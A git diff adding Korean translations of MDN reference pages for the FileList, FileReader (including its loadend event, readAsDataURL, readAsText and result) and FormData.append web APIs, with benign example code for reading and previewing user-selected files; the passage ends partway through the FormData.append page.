+ <dd>{{domxref("FileSystemDirectoryEntrySync.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.</dd>
+ <dt>{{DOMxRef("FileException")}} {{Obsolete_Inline}}</dt>
+ <dd>동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.</dd>
+</dl>
+
+<p>또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Worker")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystemSync")}}에 구현되어 있습니다: 각각 <code>requestFileSystemSync()</code> 과 <code>resolveLocalFileSystemSyncURL()</code>.</p>
+
+<h2 id="기타_인터페이스">기타 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("LocalFileSystem")}}</dt>
+ <dd>샌드박스 파일 시스템에 접근할 수 있습니다.</dd>
+ <dt>{{domxref("LocalFileSystemSync")}}</dt>
+ <dt></dt>
+ <dt>{{domxref("LockedFile")}}</dt>
+ <dd>필요한 모든 잠금을 사용하여 주어진 파일을 처리할 수 있는 도구를 제공합니다.</dd>
+ <dt>{{domxref("Metadata")}}{{experimental_inline}}</dt>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('File System API')}}</td>
+ <td>{{Spec2('File System API')}}</td>
+ <td>API 초안</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>이 API는 공식 W3C나 WHATWG명세를 가지고 있지 않습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<h3 id="FileSystem"><code>FileSystem</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.FileSystem", 0)}}</p>
+
+<h3 id="FileSystemSync_속성"><code>FileSystemSync</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.FileSystemSync", 0)}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>File and Directory Entries API 소개(<a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introduction to the File and Directory Entries API</a>)</li>
+ <li>Firefox에 대한 File and Directory Etnries API의 호환성(<a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a>)</li>
+</ul>
diff --git a/files/ko/web/api/filelist/index.html b/files/ko/web/api/filelist/index.html
new file mode 100644
index 0000000000..8176496fe2
--- /dev/null
+++ b/files/ko/web/api/filelist/index.html
@@ -0,0 +1,155 @@
+---
+title: FileList
+slug: Web/API/FileList
+translation_of: Web/API/FileList
+---
+<div>{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>이 타입의 객체는 HTML {{HTMLElement("input")}} 엘리먼트의 <code>files</code> 속성으로부터 반환됩니다; 이는 <code>&lt;input type="file"&gt;</code> 엘리먼트로 선택된 파일의 리스트에 접근하도록 합니다. 또한 드래그 앤 드랍 API를 사용할 때 웹 컨텐트에 드랍된 파일의 리스트에도 사용됩니다; 이 사용에 대한 자세한 내용은 <a href="/en-US/docs/DragDrop/DataTransfer" title="DragDrop/DataTransfer"><code>DataTransfer</code></a> 객체를 보십시오.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{Gecko("1.9.2")}} 이전에는, input 엘리먼트는 한번에 하나의 선택된 파일만 지원되었습니다, 이는 FileList가 하나의 파일만을 포함했음을 의미합니다. {{Gecko("1.9.2")}}를 시작으로, input 엘리먼트의 multiple 속성이 true이면, FileList는 복수의 파일을 포함할 수 있습니다.</p>
+</div>
+
+<h2 id="Using_the_file_list" name="Using_the_file_list">파일 리스트 사용</h2>
+
+<p>모든 <code>&lt;input&gt;</code> 엘리먼트 노드는 이 리스트의 항목에 접근하도록 허용하는 <code>files</code> 배열을 가지고 있습니다. 예를 들어, HTML이 다음의 파일 입력을 포함한다면:</p>
+
+<pre>&lt;input id="fileItem" type="file"&gt;
+</pre>
+
+<p> </p>
+
+<p>다음 코드 행은 노드의 파일 목록에있는 첫 번째 파일을 File 객체로 가져옵니다.</p>
+
+<pre class="brush: js">var file = document.getElementById('fileItem').files[0];
+</pre>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>File <a href="#item ()">item</a>(index);</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Properties</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Attribute</td>
+ <td class="header">Type</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>length</code></td>
+ <td><code>integer</code></td>
+ <td>목록에있는 파일의 수를 나타내는 읽기 전용 값.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="item()" name="item()">item()</h3>
+
+<p> </p>
+
+<pre dir="ltr" id="tw-target-text">파일리스트의 지정된 인덱스에있는 파일을 나타내는 File 객체를 리턴합니다.</pre>
+
+<p> </p>
+
+<pre> File item(
+ index
+ );
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>리스트로부터 받은 파일의 인덱스로, 0부터 시작합니다.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>요청된 파일을 나타내는 <a href="/en-US/docs/DOM/File" title="DOM/File"><code>File</code></a> 입니다.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>이 예시는 <code>input</code> 엘리먼트를 사용하여 사용자에 의해 선택된 모든 파일을 순회합니다:</p>
+
+<pre class="brush:js">// fileInput is an HTML input element: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+var file;
+
+// loop through files
+for (var i = 0; i &lt; files.length; i++) {
+
+ // get item
+ file = files.item(i);
+ //or
+ file = files[i];
+
+ alert(file.name);
+}
+</pre>
+
+<p>완전한 코드는 다음과 같습니다.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;!--multiple is set to allow multiple files to be selected--&gt;
+
+&lt;input id="myfiles" multiple type="file"&gt;
+
+&lt;/body&gt;
+
+&lt;script&gt;
+
+var pullfiles=function(){
+ // love the query selector
+ var fileInput = document.querySelector("#myfiles");
+ var files = fileInput.files;
+ // cache files.length
+ var fl = files.length;
+ var i = 0;
+
+ while ( i &lt; fl) {
+ // localize file var in the loop
+ var file = files[i];
+ alert(file.name);
+ i++;
+ }
+}
+
+// set the input element onchange to call pullfiles
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+&lt;/script&gt;
+
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML5 working draft)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+ <li><code><a href="/en-US/docs/DOM/File" title="DOM/File">File</a></code></li>
+ <li><code><a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader">FileReader</a></code></li>
+</ul>
diff --git a/files/ko/web/api/filereader/index.html b/files/ko/web/api/filereader/index.html
new file mode 100644
index 0000000000..f444a189fa
--- /dev/null
+++ b/files/ko/web/api/filereader/index.html
@@ -0,0 +1,111 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+tags:
+ - API
+ - File API
+ - Files
+ - Interface
+ - Reference
+translation_of: Web/API/FileReader
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>FileReader</code></strong> 객체는 웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는{{ domxref("File") }} 혹은 {{ domxref("Blob") }} 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다.</p>
+
+<p>File 객체는 {{ HTMLElement("input") }} 태그를 이용하여 유저가 선택한 파일들의 결과로 반환된 {{ domxref("FileList") }} 객체, 드래그 앤 드랍으로 반환된 <a href="/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> 객체 혹은 {{ domxref("HTMLCanvasElement") }}의 <code style="font-style: normal;">mozGetAsFile()</code> API로 부터 얻습니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.FileReader", "FileReader()")}}</dt>
+ <dd>Returns a newly constructed <code>FileReader</code>.</dd>
+</dl>
+
+<p>See <a href="https://developer.mozilla.org/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for details and examples.</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("DOMError")}} 파일을 읽는 도중에 발생한 에러를 나타냅니다.</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd><code>FileReader의 상태를 나타내는 숫자입니다</code>.</dd>
+ <dt>
+ <h4 id="State_constants" name="State_constants">상태 값들</h4>
+ <code>EMPTY </code> : <code>0</code> : 아직 데이터가 로드 되지 않았음.</dt>
+ <dt><code>LOADING</code> : <code>1</code> : 데이터가 로딩 중.</dt>
+ <dt><code>DONE </code> : <code>2</code> : 모든 읽기 요청이 완료됨.</dt>
+ <dd> </dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>파일의 컨텐츠입니다. 이 속성은 읽기 작업이 완료되고 읽기 작업의 초기화에 사용한 방식으로 결정된 데이터의 포맷이 정해진 후에 유효합니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>{{event("abort")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 중단 될 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>{{event("error")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작에 에러가 생길 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>{{event("load")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 성공적으로 완료 되었을 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>{{event("loadstart")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 실행 될 때마다 발생합니다.</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>{{event("loadend")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 끝났을 때마다 발생합니다. (읽기의 성공이나 실패 여부는 상관 않습니다.)</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>{{event("progress")}} 이벤트 핸들러. 이 이벤트는 {{domxref("Blob")}} 컨텐트를 읽는 동안 호출됩니다.</dd>
+</dl>
+
+<div class="note">
+<p>참고: <code>FileReader</code>는 {{domxref("EventTarget")}} 으로 부터 상속 받았습니다, 언급된 모든 이벤트들은 {{domxref("EventTarget.addEventListener()","addEventListener")}} 메소드를 사용하여 listen 하게 할 수 있습니다.</p>
+</div>
+
+<ul>
+</ul>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>읽기 요청을 중단시킵니다. 리턴이 되면 readyState 는 DONE이 됩니다.</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains the raw binary data from the file as a string.</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains a <code>data:</code> URL representing the file's data.</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains the contents of the file as a text string.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API','#FileReader-interface','FileReader')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.FileReader")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/en/Using_files_from_web_applications" title="en/Using files from web applications">Using files from web applications</a></li>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("Blob") }}</li>
+ <li><a href="/en-US/docs/nsIDOMFileReader">nsIDOMFileReader [en-US]</a> - For addons/privelaged scope</li>
+</ul>
diff --git a/files/ko/web/api/filereader/loadend_event/index.html b/files/ko/web/api/filereader/loadend_event/index.html
new file mode 100644
index 0000000000..c8e9f97664
--- /dev/null
+++ b/files/ko/web/api/filereader/loadend_event/index.html
@@ -0,0 +1,165 @@
+---
+title: 'FileReader: loadend event'
+slug: Web/API/FileReader/loadend_event
+translation_of: Web/API/FileReader/loadend_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>loadend</code> 이벤트는 성공여부와 관계없이 파일읽기가 끝나면 실행됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">버블링</th>
+ <td>해당없음</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 취소가능</th>
+ <td>해당없음</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("ProgressEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 핸들러 프로퍼티</th>
+ <td>{{domxref("FileReader.onloadend")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Live_example">Live example</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="example"&gt;
+
+ &lt;div class="file-select"&gt;
+ &lt;label for="avatar"&gt;Choose a profile picture:&lt;/label&gt;
+ &lt;input type="file"
+ id="avatar" name="avatar"
+ accept="image/png, image/jpeg"&gt;
+ &lt;/div&gt;
+
+ &lt;img src="" class="preview" height="200" alt="Image preview..."&gt;
+
+ &lt;div class="event-log"&gt;
+ &lt;label&gt;Event log:&lt;/label&gt;
+ &lt;textarea readonly class="event-log-contents"&gt;&lt;/textarea&gt;
+ &lt;/div&gt;
+
+ &lt;/div&gt;</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">img.preview {
+ margin: 1rem 0;
+}
+
+.event-log-contents {
+ width: 18rem;
+ height: 5rem;
+ border: 1px solid black;
+ margin: .2rem;
+ padding: .2rem;
+}
+
+.example {
+ display: grid;
+ grid-template-areas:
+ "select log"
+ "preview log";
+}
+
+.file-select {
+ grid-area: select;
+}
+
+.preview {
+ grid-area: preview;
+}
+
+.event-log {
+ grid-area: log;
+}
+
+.event-log&gt;label {
+ display: block;
+}
+
+.event-log-contents {
+ resize: none;
+}</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+ eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+ if (event.type === "load") {
+ preview.src = reader.result;
+ }
+}
+
+function addListeners(reader) {
+ reader.addEventListener('loadstart', handleEvent);
+ reader.addEventListener('load', handleEvent);
+ reader.addEventListener('loadend', handleEvent);
+ reader.addEventListener('progress', handleEvent);
+ reader.addEventListener('error', handleEvent);
+ reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+ eventLog.textContent = '';
+ const selectedFile = fileInput.files[0];
+ if (selectedFile) {
+ addListeners(reader);
+ reader.readAsDataURL(selectedFile);
+ }
+}
+
+fileInput.addEventListener('change', handleSelected);
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '300px') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('File API', '#dfn-loadend-event')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.FileReader.loadend_event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related events: {{domxref("FileReader.loadstart_event", "loadstart")}}, {{domxref("FileReader.load_event", "load")}}, {{domxref("FileReader.progress_event", "progress")}}, {{domxref("FileReader.error_event", "error")}}, {{domxref("FileReader.abort_event", "abort")}}</li>
+</ul>
diff --git a/files/ko/web/api/filereader/readasdataurl/index.html b/files/ko/web/api/filereader/readasdataurl/index.html
new file mode 100644
index 0000000000..1533dc620d
--- /dev/null
+++ b/files/ko/web/api/filereader/readasdataurl/index.html
@@ -0,0 +1,171 @@
+---
+title: FileReader.readAsDataURL()
+slug: Web/API/FileReader/readAsDataURL
+translation_of: Web/API/FileReader/readAsDataURL
+---
+<div>{{APIRef("File API")}}</div>
+
+<p> </p>
+
+<p><code>readAsDataURL</code> 메서드는 컨텐츠를 특정 {{domxref("Blob")}} 이나 {{domxref("File")}}에서 읽어 오는 역할을 합니다. 읽어오는 read 행위가 종료되는 경우에, {{domxref("FileReader.readyState","readyState")}} 의 상태가 <code>DONE</code>이 되며,   {{event("loadend")}} 이벤트가 트리거 됩니다. 이와 함께,  base64 인코딩 된 스트링 데이터가 {{domxref("FileReader.result","result")}}  속성(attribute)에 담아지게 됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>읽고자 하는 {{domxref("Blob")}} 또는 {{domxref("File")}}.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
+&lt;img src="" height="200" alt="이미지 미리보기..."&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.addEventListener("load", function () {
+    preview.src = reader.result;
+  }, false);
+
+  if (file) {
+    reader.readAsDataURL(file);
+  }
+}</pre>
+
+<h3 id="실행_결과">실행 결과</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 240)}}</p>
+
+<p> </p>
+
+<h2 id="복수의_파일_읽기_예제">복수의 파일 읽기 예제</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;input id="browse" type="file" onchange="previewFiles()" multiple&gt;
+&lt;div id="preview"&gt;&lt;/div&gt;</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js">function previewFiles() {
+
+ var preview = document.querySelector('#preview');
+ var files = document.querySelector('input[type=file]').files;
+
+ function readAndPreview(file) {
+
+ // `file.name` 형태의 확장자 규칙에 주의하세요
+ if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
+ var reader = new FileReader();
+
+ reader.addEventListener("load", function () {
+ var image = new Image();
+ image.height = 100;
+ image.title = file.name;
+ image.src = this.result;
+ preview.appendChild( image );
+ }, false);
+
+ reader.readAsDataURL(file);
+ }
+
+ }
+
+ if (files) {
+ [].forEach.call(files, readAndPreview);
+ }
+
+}
+</pre>
+
+<div class="note"><strong>주의:</strong> <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a> 생성자는 Internet Explorer 10 이전 버전에서는 지원하지 않는 기능입니다. 정상적으로 지원하는 코드를 확인하기 위해서는 다음 링크를 참조하시기 바랍니다. <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">crossbrowser possible solution for image preview</a>. 또는 <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">this more powerful example</a>.</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+ <td>{{Spec2("File API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+ <td>7</td>
+ <td>10<sup>[2]</sup></td>
+ <td>12.02<sup>[3]</sup></td>
+ <td>6.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Android</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>32</td>
+ <td>3</td>
+ <td>10</td>
+ <td>11.5</td>
+ <td>6.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p>
+
+<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/filereader/readastext/index.html b/files/ko/web/api/filereader/readastext/index.html
new file mode 100644
index 0000000000..d0f5c80ddf
--- /dev/null
+++ b/files/ko/web/api/filereader/readastext/index.html
@@ -0,0 +1,60 @@
+---
+title: FileReader.readAsText()
+slug: Web/API/FileReader/readAsText
+tags:
+ - 파일
+ - 파일 API
+translation_of: Web/API/FileReader/readAsText
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>readAsText()</code></strong> 메서드는 지정된 {{domxref("Blob")}} 이나 {{domxref("File")}} 의 컨텐츠를 읽기 위해 사용합니다. 읽기  연산이 끝나면, {{domxref("FileReader.readyState","readyState")}} 가 <code>DONE</code>으로 바뀌고, {{event("loadend")}} 이벤트가 트리거 되고, {{domxref("FileReader.result","result")}} 프로퍼티는 파일의 내용을 텍스트 문자열로 가집니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>새로운 API 사용가능</strong><br>
+ {{domxref("Blob.text()")}} 메서드는 파일을 텍스트로 읽는 프로미스 기반의 새 API 입니다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>읽어 들일 {{domxref("Blob")}} 이나 {{domxref("File")}}</dd>
+ <dt><code>encoding</code> {{optional_inline}}</dt>
+ <dd>반환 데이터에 사용될 문자열 인코딩을 지정. 매개변수가 지정되지 않으면 기본적으로 UTF-8이라고 가정합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("File API", "#readAsDataText", "readAsText()")}}</td>
+ <td>{{Spec2("File API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.FileReader.readAsText")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/filereader/result/index.html b/files/ko/web/api/filereader/result/index.html
new file mode 100644
index 0000000000..feb9b02405
--- /dev/null
+++ b/files/ko/web/api/filereader/result/index.html
@@ -0,0 +1,33 @@
+---
+title: FileReader.result
+slug: Web/API/FileReader/result
+translation_of: Web/API/FileReader/result
+---
+<p>{{APIRef("File API")}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>파일의 내용을 반환한다. 이 속성은 읽기가 완료 된 후에만 사용 가능 하며 데이터의 형식은 읽기 작업에 어떤 함수가 사용되었는가에 의해 정해진다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var file = <em>instanceOfFileReader</em>.result
+</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>읽기 작업에 사용된 함수에 의해 string 또는 {{domxref("ArrayBuffer")}} 가 된다.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Specifications</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Specifications")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/append/index.html b/files/ko/web/api/formdata/append/index.html
new file mode 100644
index 0000000000..0f6ec0d5c8
--- /dev/null
+++ b/files/ko/web/api/formdata/append/index.html
@@ -0,0 +1,90 @@
+---
+title: FormData.append()
+slug: Web/API/FormData/append
+translation_of: Web/API/FormData/append
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>append()</strong></code> 메서드는 <code>FormData</code> 객체의 기존 키에 새 값을 추가하거나, 키가 없는 경우 키를 추가합니다.</p>
+
+<p>{{domxref("FormData.set")}} 과 <code>append()</code> 의 차이점은 지정된 키가 이미 있으면, {{domxref("FormData.set")}} 은 모든 기존 값을 새 값으로 덮어쓰기를 합니다. 반면 <code>append()</code> 는 기존 값 집합의 끝에 새로운 값을 추가합니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:</p>
+
+<pre class="brush: js">formData.append(name, value);
+formData.append(name, value, filename);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd><code>value</code> 에 포함되는 데이터 필드의 이름입니다.</dd>
+ <dt><code>value</code></dt>
+ <dd>필드의 값입니다. {{domxref("USVString")}} 또는 {{domxref("Blob")}} ({{domxref("File")}}과 같은 sublcass를 포함하여) 일 수 있습니다.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob" 입니다. {{domxref("File")}} 객체의 기본 파일 이름은 파일의 이름이 됩니다.</dd>
+</dl>
+
+<div class="note">
